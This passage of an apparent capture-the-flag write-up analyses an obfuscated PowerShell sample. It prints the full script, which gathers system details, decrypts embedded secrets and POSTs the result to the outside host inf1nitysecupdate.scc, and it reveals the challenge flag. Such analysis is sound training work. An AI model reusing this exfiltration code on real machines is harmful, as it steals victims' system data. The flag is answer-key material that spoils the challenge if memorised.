$inputLength = $inputString.Length
$xorResult = ""
for ($i = 0; $i -lt $inputLength; $i++) {
$xorResult += [char]($inputString[$i] -bxor $xorKey[$i % $xorKeyLength])
}
return $xorResult
}
function ApplyRC4Cipher($cipherKey, $dataString) {
$s = 0..255
$cipherKey = $cipherKey.ToCharArray()
$dataString = $dataString.ToCharArray()
$j = 0
for ($i = 0; $i -lt 256; $i++) {
$j = ($j + $s[$i] + $cipherKey[$i % $cipherKey.Length]) % 256
$temp = $s[$i]
$s[$i] = $s[$j]
$s[$j] = $temp
}
$i = 0
$j = 0
$encryptedResult = ""
for ($x = 0; $x -lt $dataString.Length; $x++) {
$i = ($i + 1) % 256
$j = ($j + $s[$i]) % 256
$temp = $s[$i]
$s[$i] = $s[$j]
$s[$j] = $temp
$encryptedResult += [char]($dataString[$x] -bxor $s[($s[$i] + $s[$j]) % 256])
}
return $encryptedResult
}
function DecodeBase64String($base64String) {
$decodedBytes = [System.Convert]::FromBase64String($base64String)
return [System.Text.Encoding]::UTF8.GetString($decodedBytes)
}
function Get-SystemInformation {
$systemInfo = @{
OS = (Get-WmiObject -Class Win32_OperatingSystem).Caption
Processor = (Get-WmiObject -Class Win32_Processor).Name
RAM = (Get-WmiObject -Class Win32_ComputerSystem).TotalPhysicalMemory
Disk = (Get-WmiObject -Class Win32_LogicalDisk -Filter "DeviceID='C:'").Size
User = $env:USERNAME
Hostname = $env:COMPUTERNAME
IP = (Test-Connection -ComputerName $env:COMPUTERNAME -Count 1).IPV4Address.IPAddressToString
}
return $systemInfo
}
function TransmitSystemData($rc4Key, $secretValue, $authenticationValue) {
$systemData = Get-SystemInformation
$systemData["secret"] = $secretValue
$systemData["auth"] = $authenticationValue
$systemData["timestamp"] = (Get-Date).ToString("yyyy-MM-ddTHH:mm:ss")
$systemData["version"] = "1.0"
$jsonData = $systemData | ConvertTo-Json
$jsonBytes = [System.Text.Encoding]::UTF8.GetBytes($jsonData)
$base64Json = [System.Convert]::ToBase64String($jsonBytes)
$rc4EncryptedData = ApplyRC4Cipher $rc4Key $base64Json
$finalPayload = [System.Convert]::ToBase64String(
[System.Text.Encoding]::UTF8.GetBytes($rc4EncryptedData)
)
$endpointUrl = "http://inf1nitysecupdate.scc/clients/update"
$client = New-Object System.Net.WebClient
$client.Headers.Add("Content-Type", "application/json")
$client.UploadString($endpointUrl, $finalPayload)
}
$connectionKey = "raTERmInOphA"
$encryptedSecretData = "FjnDosO1w7AAPRTDoErCtxxDH8KRQMKV"
$encryptedSecretKey = "MHAzcjQ3MTBuNTFsM243YzNsbA=="
$decryptedSecret = ApplyRC4Cipher (DecodeBase64String $encryptedSecretKey) (DecodeBase64String $encryptedSecretData)
$encryptedAuthData = DecodeBase64String "AV4KDTEdHEo2HFVdAjYSSRsDEwVaFA=="
$encryptedAuthKey = DecodeBase64String "aW5maW5pdHk="
$authenticationValue = ApplyXorCipher $encryptedAuthData $encryptedAuthKey
TransmitSystemData $connectionKey $decryptedSecret $authenticationValue
Based on how much time you spent and how well you managed to clean and beautify the code, depends on how much you will be able to notice.
- Detailed analysis of this cleaned script reveals that it:
- Performs system enumeration (OS, processor, RAM, disk size, username, hostname, and IP address).
- Encodes gathered system data along with decrypted
secret
andauth
values. - Sends the encoded data via an HTTP POST request to the endpoint
http://inf1nitysecupdate.scc/clients/update
. - Utilizes RC4 and XOR encryption methods to protect sensitive strings.
Promenljive secret
i auth
su zasticene pa cemo probati da ih dekriptujemo.
Here’s how I modified the script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$connectionKey = "raTERmInOphA"
$encryptedSecretData = "FjnDosO1w7AAPRTDoErCtxxDH8KRQMKV"
$encryptedSecretKey = "MHAzcjQ3MTBuNTFsM243YzNsbA=="
$decryptedSecret = ApplyRC4Cipher (DecodeBase64String $encryptedSecretKey) (DecodeBase64String $encryptedSecretData)
$encryptedAuthData = DecodeBase64String "AV4KDTEdHEo2HFVdAjYSSRsDEwVaFA=="
$encryptedAuthKey = DecodeBase64String "aW5maW5pdHk="
$authenticationValue = ApplyXorCipher $encryptedAuthData $encryptedAuthKey
$decryptedSecret
$authenticationValue
# TransmitSystemData $connectionKey $decryptedSecret $authenticationValue
Running this modified script yields the decrypted values clearly in our terminal:
1
2
3
PS /home/gordic/SCC 2025/Cells of Deception> ./decrypt.ps1
SCC{h1dd3n_c3lls_
h0ld_th3_r34l_f0rmul4}
SCC{h1dd3n_c3lls_h0ld_th3_r34l_f0rmul4}